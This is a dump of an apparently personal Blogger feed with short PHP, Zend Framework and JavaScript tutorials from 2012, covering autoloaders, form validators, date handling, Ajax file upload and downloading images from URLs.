<span style="color: #073763;">Nelson Desai</span></div>
<div>
<span style="color: #073763;">
</span></div>
</span></code></pre>
</span></code></span></pre>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com17tag:blogger.com,1999:blog-9099073570000665072.post-20258176431259146762012-09-22T00:04:00.000-07:002012-09-22T00:04:10.788-07:00Advanced use of autoloader in zend<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-1PUKTZDV3Ls/UFh8uqVJKqI/AAAAAAAACC4/kFiA_qUIe-4/s1600/zend-framework-hosting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="http://1.bp.blogspot.com/-1PUKTZDV3Ls/UFh8uqVJKqI/AAAAAAAACC4/kFiA_qUIe-4/s320/zend-framework-hosting.jpg" width="320" /></a></div>
<br />
For read simple use of autoloader you can see my previous post here on below link:<br />
http://nelsondesai.blogspot.in/2012/09/how-to-use-zend-autoloader.html<br />
<br />
Now Advance Use of autoloader for cloud base database service or any.<span style="background-color: #fefefe; color: #111111; font-family: Helvetica, Arial, sans-serif; font-size: 13px; line-height: 15px; text-align: -webkit-auto;"> </span><br />
<br />
Que: I have two different class [one <i>amazon</i> cloud and second azure cloud] with same functions name like [insert, update, join etc].<br />
<span style="color: red;"><br /></span>
<span style="color: red;">Notes:</span> both class must have same function.<br />
<br />
Now i want to choose database[class] dynamic.<br />
<br />
So, it's not good to go every controller and we change a class name where we use a class object.<br />
<br />
Solution is here,<br />
<br />
Let's start..<br />
first file structure.. default I always prefer to use library folder.<br />
<br />
<pre>library
|--- Amazon
|--- Action.php [with class Amazon_Action]
|--- Azure
|--- Action.php [with class Azure_Action]
</pre>
In solution you can also use a custom folder replace of library like [application/cloud/] folder..<br />
for custom folder read my previous post <a href="http://nelsondesai.blogspot.in/2012/09/how-to-use-zend-autoloader.html" target="_blank"><span style="color: #38761d;">Click Here</span></a>.<br />
<br />
Now in index.php<br />
<br />
just define which cloud db we want to use..
<br />
<pre>define('_APP_BOOT_LIB','Amazon_');
</pre>
Now in application Bootstrap.php</div>
<pre>public function _initAutoloaders()
{
$autoloader = Zend_Loader_Autoloader::getInstance();
$autoloader->registerNamespace(_APP_BOOT_LIB);
if(_APP_BOOT_LIB == "Amazon_")
$objUser = new Amazon_Action();
else if(_APP_BOOT_LIB == "Azure_")
$objUser = new Azure_Action();
//Here two way to store object
</pre>
<pre> Zend_Registry::set('objUser', $objUser);
//for get objUser in controller[$objUser = Zend_Registry::get('objUser');]</pre>
<pre> // $this->objUser = $objUser;
//for get objUser in controller[$objUser = $this->_invokeArgs['bootstrap']->objUser;]</pre>
<pre>}</pre>
<br />
Now in controller IndexController.php<br />
we can get back object to use...
<br />
<pre>$objUser = Zend_Registry::get('objUser');
//$objUser = $this->_invokeArgs['bootstrap']->objUser;
//Notes: both class must have same function..
$objUser->query($params);
$objUser->insert($params);</pre>
<br />
Gud Luck..<br />
<br />
<pre class="lang-php prettyprint" style="border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">For more details mail me on </span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"><span style="color: #0b5394;">nelson.desai@gmail.com</span></span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> or </span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"><span style="color: #0b5394;">comments</span></span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> here.</span></span></code></pre>
<pre class="lang-php prettyprint" style="border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><pre class="lang-php prettyprint" style="background-color: white; border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</span></code></pre>
</span></code></pre>
<br />
<br /></div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com1tag:blogger.com,1999:blog-9099073570000665072.post-35282259248273697962012-09-18T07:33:00.001-07:002012-09-21T23:12:23.551-07:00How to use multiple validators in zend form ??<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-1PUKTZDV3Ls/UFh8uqVJKqI/AAAAAAAACC4/kFiA_qUIe-4/s1600/zend-framework-hosting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="http://1.bp.blogspot.com/-1PUKTZDV3Ls/UFh8uqVJKqI/AAAAAAAACC4/kFiA_qUIe-4/s320/zend-framework-hosting.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Use of multiple validation in zend form >></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
First basic how to add validator to any filed..</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<pre><div class="separator" style="clear: both; text-align: left;">
$password = new Zend_Form_Element_Password('password');
$passsword->setLabel('Password :')
->setRequired(true)
->addValidator('NotEmpty')
->addValidator('Digits');</div>
<div class="separator" style="text-align: left;">
</div>
</pre>
<div class="separator" style="clear: both; text-align: left;">
So, on this we use two validator one is 'NotEmpty' and second is 'Digits'.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Now problem comes when we submit we got both message together which not good. see in below images.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-96e2bEHtCpw/UFiB0dIpAqI/AAAAAAAACDI/74UkEsQxoBQ/s1600/Error_png+%5BNelson+Desai%5D.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="379" src="http://4.bp.blogspot.com/-96e2bEHtCpw/UFiB0dIpAqI/AAAAAAAACDI/74UkEsQxoBQ/s640/Error_png+%5BNelson+Desai%5D.jpeg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
So, now solution is here..</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
just use custom modification you can write custom message using setMessage..</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<pre><div class="separator" style="clear: both;">
$notEmpty = new Zend_Validate_NotEmpty();
$notEmpty->setMessage('The field cannot be empty!');</div>
<div class="separator" style="clear: both;">
$digits = new Zend_Validate_Digits();
$digits->setMessage('Please, enter only digits');</div>
<div class="separator" style="clear: both;">
$password = new Zend_Form_Element_Password('password');
$passsword->setLabel('Password :')
->setRequired(true)
->addValidator($notEmpty, true)
->addValidator($digits, true)</div>
</pre>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
use of regular expression validator.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<pre><div class="separator" style="clear: both;">
->addValidator('regex', true,array('pattern'=>'/^[(0-9)]+$/',
'messages'=>array('regexNotMatch'=>'Please enter only digit.'))
)</div>
</pre>
<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Here is list of some default validation classes in zend</div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://framework.zend.com/manual/1.12/en/zend.validate.set.html">http://framework.zend.com/manual/1.12/en/zend.validate.set.html</a></div>
<div class="separator" style="clear: both; text-align: left;">
You can also check in library/Zend/Validate for more details.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<pre class="lang-php prettyprint" style="border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">For more details mail me on </span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"><span style="color: #0b5394;">nelson.desai@gmail.com</span></span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> or </span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"><span style="color: #0b5394;">comments</span></span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> here.</span></span></code></pre>
<br />
<div class="separator" style="clear: both; text-align: left;">
</div>
<pre class="lang-php prettyprint" style="background-color: white; border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</span></code></pre>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-51943761791544958162012-09-18T05:46:00.001-07:002012-09-24T00:47:19.130-07:00How to use zend autoloader ??<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-1PUKTZDV3Ls/UFh8uqVJKqI/AAAAAAAACC4/kFiA_qUIe-4/s1600/zend-framework-hosting.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="http://1.bp.blogspot.com/-1PUKTZDV3Ls/UFh8uqVJKqI/AAAAAAAACC4/kFiA_qUIe-4/s320/zend-framework-hosting.jpg" width="320" /></a></div>
zend autoloader tutorial >><br />
<br />
File Structure:<br />
<pre>library
|--- <span style="background-color: white; font-size: 14px; line-height: 20px;">Amazon</span>
|--- Action.php [ with class <span style="background-color: white; font-size: 14px; line-height: 20px;">Amazon</span>_Action ]</pre>
<br />
In Bootstrap.php
<br />
<pre>public function _initAutoloaders()
{
$loader = Zend_Loader_Autoloader::getInstance();
$loader->registerNamespace('<span style="background-color: white; font-size: 14px; line-height: 20px;">Amazon</span>_');
}</pre>
<br />
In IndexController or any..
<br />
<pre>$<span style="background-color: white; font-size: 14px; line-height: 20px;">Amazon</span>_Action = new <span style="background-color: white; font-size: 14px; line-height: 20px;">Amazon</span>_Action();</pre>
</div>
<br />
<br />
Now use custom file structure:<br />
In application<br />
<br />
<pre> classes
|--- googles
|--- nels
|--- action.php [with calss name My_Classe_Google_Nel_Action]
|--- test.php [with class My_Classe_Google_Test]
|---demo.php [with class My_Classe_Demo]
</pre>
<div style="font-family: 'Times New Roman'; white-space: normal;">
In Bootstrap.php</div>
<pre>public function _initAutoloaders()
{
$resourceLoader = new Zend_Loader_Autoloader_Resource(array(
'basePath' => APPLICATION_PATH . '/',
'namespace' => 'My',
));
$resourceLoader->addResourceType('demo','classes/','Classe');
$resourceLoader->addResourceType('test', 'classes/googles/', 'Classe_Google');
$resourceLoader->addResourceType('action', 'classes/googles/nels/', 'Classe_Google_Nel');
}</pre>
<br />
In Controller
<br />
<pre>$opt1 = new My_Classe_Google_Nel_Action();
$opt2 = new My_Classe_Google_Test();
$opt3 = new My_Classe_Demo();
</pre>
For more advance use of autoloader follow thins link..<br />
<a href="http://nelsondesai.blogspot.in/2012/09/advanced-use-of-autoloader-in-zend.html">http://nelsondesai.blogspot.in/2012/09/advanced-use-of-autoloader-in-zend.html</a><br />
<span style="color: black;"><a href="http://framework.zend.com/manual/1.12/en/learning.autoloading.resources.html">http://framework.zend.com/manual/1.12/en/learning.autoloading.resources.html</a></span><br />
<br />
<pre class="lang-php prettyprint" style="border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">For more details mail me on </span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"><span style="color: #0b5394;">nelson.desai@gmail.com</span></span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> or </span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"><span style="color: #0b5394;">comments</span></span><span style="font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> here.</span></span></code></pre>
<br />
<br />
<pre class="lang-php prettyprint" style="background-color: white; border-color: rgb(88, 157, 186); border-style: dashed dashed dashed solid; border-width: 0px; color: #656565; font-size: 14px; line-height: 20px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="color: #222222; font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</span></code></pre>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com1tag:blogger.com,1999:blog-9099073570000665072.post-63154180835895959242012-09-14T07:32:00.004-07:002012-09-18T01:06:55.719-07:00File Upload Using Ajax+Html5+PHP<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-b9_Ps8Yzd7o/UFNAtBxXkJI/AAAAAAAACCg/DHcYdLGK3gY/s1600/html5%5Bnelson+desai%5D.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="http://1.bp.blogspot.com/-b9_Ps8Yzd7o/UFNAtBxXkJI/AAAAAAAACCg/DHcYdLGK3gY/s320/html5%5Bnelson+desai%5D.jpg" width="320" /></a></div>
<br />
<pre class="lang-php prettyprint" style="border-width: 0px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="text-align: center;">
<div style="text-align: left;">
<span style="color: #38761d; font-family: Times New Roman;"><span style="font-size: 14px; white-space: normal;">One day my senior ask me can it possible to upload a file using ajax ??</span></span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">No, it isn't possible to do this with javascript.</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">But, yes this is possible with JavaScript now + [AJAX & HTML5].</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">To Download Code..</span><span style="color: #e69138; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> <a href="https://www.box.com/s/vl2ciiacbupee3l5ie5z" target="_blank">Click Here</a></span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">In all File just find [</span><span style="color: #a64d79; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">NELSON DESAI</span><span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">] Where You can get all help in comment.</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">is also possible to work auto upload and also got customize response.</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">It's very helpful during profile picture upload. We can also pass a data in post like usre-id in hidden. </span><span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">and in response here we can get the uploaded url which we can add on picture block.</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">You can also show progress of uploading.</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">Actually i implemented this code in zend [From one controller to another controller using this demo]</span><br />
<span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">For more details mail me on </span><span style="color: #a64d79; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">nelson.desai@gmail.com</span><span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> or </span><span style="color: #a64d79; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;">comments</span><span style="color: #38761d; font-family: 'Times New Roman'; font-size: 14px; white-space: normal;"> here.</span></div>
</div>
<div style="color: #222222; font-family: 'Times New Roman'; font-size: 14px; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="color: #222222; font-family: 'Times New Roman'; font-size: 14px; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="color: #222222; font-family: 'Times New Roman'; font-size: 14px; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</span></code></pre>
</div>
<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-70186427809714452302012-06-28T23:04:00.004-07:002012-06-28T23:10:13.874-07:00Get the different date format in JavaScript<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<br />
<br />
<span style="color: #073763;">Hi, </span><br />
<span style="color: #073763;">This is simple code but, i got it after so much time..</span><br />
<span style="color: #073763;"><br /></span><br />
<span style="background-color: white; color: purple;">var d = new Date();</span><br />
<span style="background-color: white;"><span style="color: #38761d;">// Get today date in this format </span></span><span style="background-color: white;"><span style="color: #38761d;">Fri Jun 29 2012 10:57:53 GMT+0530 (IST).</span></span><span style="background-color: white; color: #38761d;"> </span><br />
<span style="background-color: white; color: purple;"><br /></span><br />
<span style="background-color: white; color: purple;">var curr_date = d.getDate();</span><br />
<span style="background-color: white; color: #38761d;">// Get the only date from today date.</span><br />
<span style="background-color: white; color: purple;"><br /></span><br />
<span style="background-color: white; color: purple;">var curr_month = d.getMonth();</span><br />
<span style="background-color: white; color: #38761d;">// Get the only month from today date.</span><br />
<span style="background-color: white; color: purple;"><br /></span><br />
<span style="background-color: white; color: purple;">curr_month++;</span><br />
<span style="background-color: white; color: #38761d;">// Increase month by 1. becz, u got less one. </span><br />
<span style="background-color: white; color: purple;"><br /></span><br />
<span style="background-color: white; color: purple;">var curr_year = d.getFullYear();</span><br />
<span style="background-color: white; color: #38761d;">// Get the only year from today date.</span><br />
<span style="background-color: white; color: #38761d;"><br /></span><br />
<span style="background-color: white; color: #38761d;">// You can get also time, second, minute like this. </span><br />
<span style="background-color: white; color: purple;">var second =d.getSeconds();</span><br />
<span style="background-color: white; color: purple;">var minutes = d.getMinutes();</span><br />
<span style="background-color: white; color: purple;">var hour = d.getHours();</span><br />
<span style="background-color: white; color: purple;">var milliSeconds = d.getMilliseconds();</span><br />
<span style="background-color: white; color: #38761d;">// And also join it in date. </span><br />
<span style="background-color: white; color: #38761d;"><br /></span><br />
<span style="background-color: white; color: #38761d;">// Now join it in any format. </span><br />
<span style="background-color: white; color: purple;">var today = curr_year + "-" + curr_month + "-" + curr_date;</span><br />
<span style="background-color: white; color: #38761d;">// like this return 2012-5-12</span><br />
<span style="background-color: white; color: purple;"><br /></span><br />
<span style="background-color: white; color: purple;">var today = curr_year + "." + curr_month + "." + curr_date;</span><br />
<span style="background-color: white; color: #38761d;">// like this return 2012.5.12</span><br />
<span style="color: purple;"><span style="background-color: white;"><br /></span></span><br />
<span style="color: purple;"><span style="background-color: white;">var today = </span></span><span style="background-color: white; color: purple;">curr_month </span><span style="background-color: white; color: purple;"><span style="background-color: white;">+ "/" + </span></span><span style="background-color: white; color: purple;">curr_year</span><span style="background-color: white; color: purple;"> + "/" + curr_date;</span><br />
<span style="background-color: white; color: #38761d;">// like this return 5/2012/12</span><br />
<br />
<div style="text-align: center;">
<span style="color: #38761d;">--</span></div>
<div style="text-align: center;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="text-align: center;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-47137829223023331242012-06-26T08:12:00.000-07:002012-09-18T05:25:08.895-07:00Calculating the difference between two dates in JavaScript<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<br />
<span style="color: #073763;">Hi guys, </span><br />
<span style="color: #073763;">Some day ago i want a difference between two dates to check it's greater or less then..</span><br />
<span style="color: #073763;">After searching i got many solutions but best and easy solution it's here...</span><br />
<br />
<pre><span style="background-color: white;">var dp_b_d = document.getElementById('dp_birth_date').value; </span>
</pre>
<span style="background-color: white;">// Get like 12/04/1990 date format </span>
<span style="background-color: white;">// Or if u have different format then u should convert it or get it by this link <a href="http://nelsondesai.blogspot.in/2012/06/get-different-date-format-in-javascript.html" target="_blank">Click Here</a></span>
<pre>
<span style="color: purple;">var dp_d_d = document.getElementById('dp_death_date').value;</span><br />
</pre>
<span style="color: #38761d;"><span style="background-color: white;">// Get like 15/04/1990 date format</span></span><br />
<span style="background-color: white; color: purple;"><br /></span>
<pre>
<span style="background-color: white;">var myDateArray = dp_d_d.split("/"); </span><br />
<span style="">var myDateArray2 = dp_b_d.split("/");</span></pre><br />
<span style="color: #38761d;">// Split it by using "/" if your date format '15.04.1990' then split with '.'[dot] </span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<span style="color: purple;">var EndDate = new Date(myDateArray[2],myDateArray[1],myDateArray[0]);</span><br />
<span style="background-color: white; color: #38761d;">// Always pass this type value in Date(YEAR, MONTH, DATE) </span><br />
<div>
<span style="color: #38761d;"><br /></span></div>
<br /><pre>
<span style="color: purple;">var Today = new Date(myDateArray2[2],myDateArray2[1],myDateArray2[0]);</span><br />
<span class="Apple-tab-span" style="white-space: pre;"><span style="color: purple;"> </span></span></pre><br />
<span style="color: purple;">var ONE_DAY = 1000 * 60 * 60 * 24;</span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<span style="background-color: white; color: purple;">var date1_ms = EndDate.getTime();</span><br />
<span style="color: purple;">var date2_ms = Today.getTime();</span><br />
<span style="color: #38761d;">// Convert both dates to milliseconds</span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span> <br />
<span style="color: purple;">var difference_ms = date1_ms - date2_ms;</span><br />
<span style="background-color: white; color: purple;"><br /></span>
<span style="background-color: white; color: purple;">var total_days = difference_ms/ONE_DAY;</span><br />
<span style="color: #38761d;">// Get </span><span style="background-color: white; color: #38761d;">difference in </span><span style="background-color: white; color: #38761d;">total days.</span><br />
<br />
<span style="color: purple;">return </span><span style="background-color: white;"><span style="color: purple;">total_days;</span><span style="color: #38761d;"> </span></span><br />
<span style="background-color: white;"><span style="color: #38761d;">// Here it's return 3days in this example.</span></span><br />
<span style="color: #38761d;"><br /></span>
<br />
<div style="text-align: center;">
<span style="color: #38761d;">--</span></div>
<div style="text-align: center;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="text-align: center;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-43312653069811137792012-02-04T06:24:00.000-08:002012-07-02T22:25:42.175-07:00Download images from url php<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-M2uq5USjfyo/Ty00m8l6kKI/AAAAAAAABls/fKDsfdvnQn4/s1600/clean_urls.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="http://4.bp.blogspot.com/-M2uq5USjfyo/Ty00m8l6kKI/AAAAAAAABls/fKDsfdvnQn4/s320/clean_urls.jpg" width="320" /></a></div>
<br />
<br />
First Select link from database or from any...<br />
<span style="color: #38761d;">$url = "SELECT link FROM tablename";</span><br />
<br />
Now second step is check image is available on url or not..<br />
we can check it by so many step i give hint at end of this post....<br />
<br />
// check url available using get_header method...<br />
<span style="color: #38761d;">$url_head = get_headers($url)</span><br />
<span style="color: #38761d;"><br /></span><br />
<span style="color: #38761d;">if($url_head == FALSE) </span><br />
<span style="color: #38761d;">{</span><br />
<span style="color: red;"> </span>echo "URL or HEAD Unavailable.....";<br />
<span style="color: #38761d;">}</span><br />
<span style="color: #38761d;"><br /></span><br />
<span style="color: #38761d;">else</span><br />
<span style="color: #38761d;">{</span><br />
// now check url image hav not 404 error to download...<br />
<span style="color: red;"> </span><span style="color: #38761d;"> $head_chk = strpos ($url_head[0], '404 Not Found');</span><br />
<span style="color: #38761d;"><br /></span><br />
<span style="color: #38761d;"> if($head_chk === FALSE) </span><br />
<span style="color: #38761d;"> {</span><br />
<br />
<span style="color: red;"> </span><span style="color: #38761d;"> $image_data = file_get_contents($url);</span><span style="color: red;"> </span> // get content from url..<br />
<span style="color: red;"> </span><span style="color: #38761d;"> $image_name = basename($url); </span> // for save same name which in url.<br />
<span style="color: red;"> </span><span style="color: #38761d;"> $image__save_location = "/path/images_folder";</span><span style="color: red;"> </span>// Save location or path.<span style="color: red;">.</span><br />
<span style="color: red;"> </span><br />
<span style="color: red;"> </span><span style="color: #38761d;"> if(!$image_data)</span><br />
<span style="color: #38761d;"> {</span><br />
<span style="color: red;"> </span> // write some another image url like default image save if not available....<br />
<span style="color: red;"> </span><span style="color: #38761d;"> $no_image_data = "some default image url... if some image not available on url"</span><br />
<span style="color: red;"><br /></span><br />
<span style="color: red;"> </span> // now save image using file_put_contents function with same name which in url.<br />
<span style="color: red;"> </span><span style="color: #38761d;"> file_put_contents($image__save_location."/".$image_name, $no_image_data);</span><br />
<span style="color: #38761d;"> }</span><br />
<span style="color: #38761d;"> else</span><br />
<span style="color: #38761d;"> {</span><br />
<span style="color: #38761d;"> file_put_contents($image__save_location."/".$image_name, $image_data);</span><br />
<span style="color: #38761d;"> }</span><br />
<span style="color: #38761d;">}</span><br />
<span style="color: #38761d;">else</span><br />
<span style="color: #38761d;">{</span><br />
<span style="color: #38761d;"> echo "404 and Image Not Available.......";</span><br />
<span style="color: #38761d;">}</span><br />
<span style="color: #38761d;">}</span><br />
<br />
-----------------------------------------------------<br />
-----------------------------------------------------<br />
You also check some other condition like image avilabel or not in php<br />
1. getimagesize($url);<br />
2. get_headers($url);<br />
3. file_get_contents($url);<br />
<br />
<pre class="lang-php prettyprint" style="border-width: 0px; color: #222222; font-size: 14px; line-height: 21px; margin-bottom: 10px; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto;"><code style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><span class="pun" style="border-width: 0px; margin: 0px; padding: 0px; vertical-align: baseline;"><div style="font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="color: #38761d;">--</span></div>
<div style="font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Thank You</span></span></div>
<div style="font-family: 'Times New Roman'; line-height: normal; text-align: center; white-space: normal;">
<span style="background-color: white;"><span style="color: #073763;">Nelson Desai</span></span></div>
</span></code></pre>
<br />
